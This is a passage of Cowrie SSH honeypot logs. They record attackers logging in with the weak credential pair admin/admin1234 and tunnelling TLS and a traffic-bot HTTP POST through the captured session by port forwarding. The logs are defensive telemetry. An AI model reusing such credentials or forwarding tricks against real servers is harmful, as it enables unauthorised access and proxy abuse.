\\xc0\\xe6\\xaaN\\x7fy\\x1c\\xee\\r!\\x8dN\\x98&i\\x1c\\xf5\\xf0.\\x1d\\xe6\\x91\\xac\\xfa\\x9a\\xd1\\xc8\\x02\\xbb@I\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2J\\xf4\\xdb\\xba\\x0e\\x93\\xc7\\xe9i*\\xbd\\x83\\xae\\x8e\\xa7\\xe2\\xbb\\xa5On\\x80\\x1e\\x0e\\xb3\\x8fiP\\xf5t@\\x04 +#i\\xfa\\x94\\x0e\\xf9r\\xa4u\\xa2V\\xb0U\\x97\\xcf\\x82W\\xd7\\x9be\\x1e\\xe6C\\xba*\\x15\\xa8h\\x9cM\\xfc\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\xe6\\xaaN\\x7fy\\x1c\\xee\\r!\\x8dN\\x98&i\\x1c\\xf5\\xf0.\\x1d\\xe6\\x91\\xac\\xfa\\x9a\\xd1\\xc8\\x02\\xbb@I\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.477411Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.508852Z","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.524680Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc@{\\xac\\xef\\xfb[\\x0b\\xf2\\x8a\\xf2\\xff\\xe4O]\\x19\\x97P/`\\x87\\xfb\\xd0}kL\\xb0\\xff\\x14\\x0bx\\x82 v\\xac\\x97-R\\xf1LZ\\xdc\\xddA[\\x18\\xcb\\x08#6\\x94\\xa9\\xae5\\xdcq\\x80\\xc4\\x86\\xa5\\x89\\x03\\x1e\\xd01\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 [\\xe9-u4\\x84*O:\\xa2/X\\xed\\xf6{\\xd8\\x9b\\xa3i\\xab\\x01\\xe4q\\xb5U\\x82\\xde\\xaa*s\\xb1\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc@{\\xac\\xef\\xfb[\\x0b\\xf2\\x8a\\xf2\\xff\\xe4O]\\x19\\x97P/`\\x87\\xfb\\xd0}kL\\xb0\\xff\\x14\\x0bx\\x82 v\\xac\\x97-R\\xf1LZ\\xdc\\xddA[\\x18\\xcb\\x08#6\\x94\\xa9\\xae5\\xdcq\\x80\\xc4\\x86\\xa5\\x89\\x03\\x1e\\xd01\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 [\\xe9-u4\\x84*O:\\xa2/X\\xed\\xf6{\\xd8\\x9b\\xa3i\\xab\\x01\\xe4q\\xb5U\\x82\\xde\\xaa*s\\xb1\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.527511Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.8","message":"Connection lost after 34.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:08.382467Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62538,"dst_ip":"10.17.0.5","dst_port":22,"session":"c005e611f81e","protocol":"ssh","message":"New connection: 123.27.168.40:62538 (10.17.0.5:22) [session: c005e611f81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:11.992696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:11.996913Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:12.312776Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:13.448677Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:13.831990Z","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:13.980526Z","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:14.247195Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/15B93 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VE1ybSF0X3U0JD9GaHZoSA%3D%3DevD6sudQ27Z7RtkOPPNs2MKdwdG9rW%2FU%2B5cWgW6X8nDnWWyJd%2BCywWkGUx%2F6RsjGGjivIF2VMd6ZQvjYrMO%2BfHUDaKpeB6IpNR3kqSbeUu%2Bqero1aTzz5xWvOSzmv7LhYhBKggXB804yGXQqJhilRdNnvB96mYgmApVTdTfmkXW5C7PSDw20sZeE%2F%2FLJE1VfrMPZee2vcD%2FJJmqrTYhdXfwoKuXVFfvOLx7lKHu7oAxsGTiSm2BN4lVa6UhmTJUykKZnuSL040Uv1mpKQd5gbgg8Nf5T%2BXBQXdTVYFBQJ3AhWP4K9DF%2BGsbcsUQuJ2q4%2BueqKpe7CpPs1Y7rvslBdz0mLe%2BQ6yRgNmoM6ZabSECA4fGDy6Xot%2BZEhqB8%2Fb%2B3CSfXgRfkZwxph6Zupw8iifzNyZ42XDo5FmDc0eU6o6IXs8Y3Nben32oQo5e%2FC%2FAmUCUsCbJZ7kTo8pyKW61zTp6UXF1RYSjq6EiTILhaDzaUI0tdwdzmv2dgNKFfWKzXfFizlWiuy3Lh5Hn7T19%2Fj6hGp7uGW6ouQCj%2BZP3Hazbx7QJk9SMx6fOREQd4bYDvc9gmJbgVaXOtHZwdvd9a%2BgdgZ3%2BZFgx7eeK08CvEPoXu8I5c7sxQxY%2B9yeEij6yGP1P1kF4auc2fvTFB0AjU25fOoYOhO2MH0XWPRP7dvNyYTBIq27v6rQOYccljyQ7sDdLiwwQpCo10Wv2UDOSZcMSSFC1idUdKm%2B5mBiFBX6t02bfnBbIssVQCrpyGD5AhdzFSHRvS9E1NWGnMEsWt9cjbM5gSqnyCqSUZLOp%2B7LOe3YGb%2FiLL5SeygvhoivgJSn4fbv19%2BmxNP7lzJ6u03TEZPCsj4aBvH8EE81EohP230ejUPQECSe6GUfuHoljcmuOcqS1rMvNPIvogfcLhQFnHeqRw0uwAjRQr1HKq1cDbkfvTAHwWBbt8khEZLrA3qJxZpZL7DtjiqPr2QqEuwaiX3DzjkeXYwvuySCypoeGa0%2BYjeF1PXYdI8HO8GME1ep26OWc2eC%2BfwVMw0cvHnM6ohDzRwYpPIGOAhk90mFm2AcKx94jMPBr7e3OrOnBM'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/15B93 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VE1ybSF0X3U0JD9GaHZoSA%3D%3DevD6sudQ27Z7RtkOPPNs2MKdwdG9rW%2FU%2B5cWgW6X8nDnWWyJd%2BCywWkGUx%2F6RsjGGjivIF2VMd6ZQvjYrMO%2BfHUDaKpeB6IpNR3kqSbeUu%2Bqero1aTzz5xWvOSzmv7LhYhBKggXB804yGXQqJhilRdNnvB96mYgmApVTdTfmkXW5C7PSDw20sZeE%2F%2FLJE1VfrMPZee2vcD%2FJJmqrTYhdXfwoKuXVFfvOLx7lKHu7oAxsGTiSm2BN4lVa6UhmTJUykKZnuSL040Uv1mpKQd5gbgg8Nf5T%2BXBQXdTVYFBQJ3AhWP4K9DF%2BGsbcsUQuJ2q4%2BueqKpe7CpPs1Y7rvslBdz0mLe%2BQ6yRgNmoM6ZabSECA4fGDy6Xot%2BZEhqB8%2Fb%2B3CSfXgRfkZwxph6Zupw8iifzNyZ42XDo5FmDc0eU6o6IXs8Y3Nben32oQo5e%2FC%2FAmUCUsCbJZ7kTo8pyKW61zTp6UXF1RYSjq6EiTILhaDzaUI0tdwdzmv2dgNKFfWKzXfFizlWiuy3Lh5Hn7T19%2Fj6hGp7uGW6ouQCj%2BZP3Hazbx7QJk9SMx6fOREQd4bYDvc9gmJbgVaXOtHZwdvd9a%2BgdgZ3%2BZFgx7eeK08CvEPoXu8I5c7sxQxY%2B9yeEij6yGP1P1kF4auc2fvTFB0AjU25fOoYOhO2MH0XWPRP7dvNyYTBIq27v6rQOYccljyQ7sDdLiwwQpCo10Wv2UDOSZcMSSFC1idUdKm%2B5mBiFBX6t02bfnBbIssVQCrpyGD5AhdzFSHRvS9E1NWGnMEsWt9cjbM5gSqnyCqSUZLOp%2B7LOe3YGb%2FiLL5SeygvhoivgJSn4fbv19%2BmxNP7lzJ6u03TEZPCsj4aBvH8EE81EohP230ejUPQECSe6GUfuHoljcmuOcqS1rMvNPIvogfcLhQFnHeqRw0uwAjRQr1HKq1cDbkfvTAHwWBbt8khEZLrA3qJxZpZL7DtjiqPr2QqEuwaiX3DzjkeXYwvuySCypoeGa0%2BYjeF1PXYdI8HO8GME1ep26OWc2eC%2BfwVMw0cvHnM6ohDzRwYpPIGOAhk90mFm2AcKx94jMPBr7e3OrOnBM'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:14.250471Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:14.468711Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xb42x\\x03\\xac \\xfck^R]\\xac\\xe4~\\xfa4\\x8e~fu$@\\\\*\\xe8\\xd4\\xd9\\xe8\\x96\\x16\\x8a \\xe5\\rE_\\x89\\xf2x8\\\\V\\xcb\\xa6i\\x94\\xb0\\xde\\x93\\xd4\\xcc\\xfd\\x9e\\xfb\\x82\\x08e^+\\x94\\xaee)\\xdc\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 jy\\xd7\\xba\\xe7\\x8b\\x9b$\\x9ee\\x88\\x9b\\xd5\\x08\\xe5R\\xa5\\xa8\\xa6\\xb4m_\\x8cN\\xa0\\x19\\xc6\\xcb8a\\xd3Q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\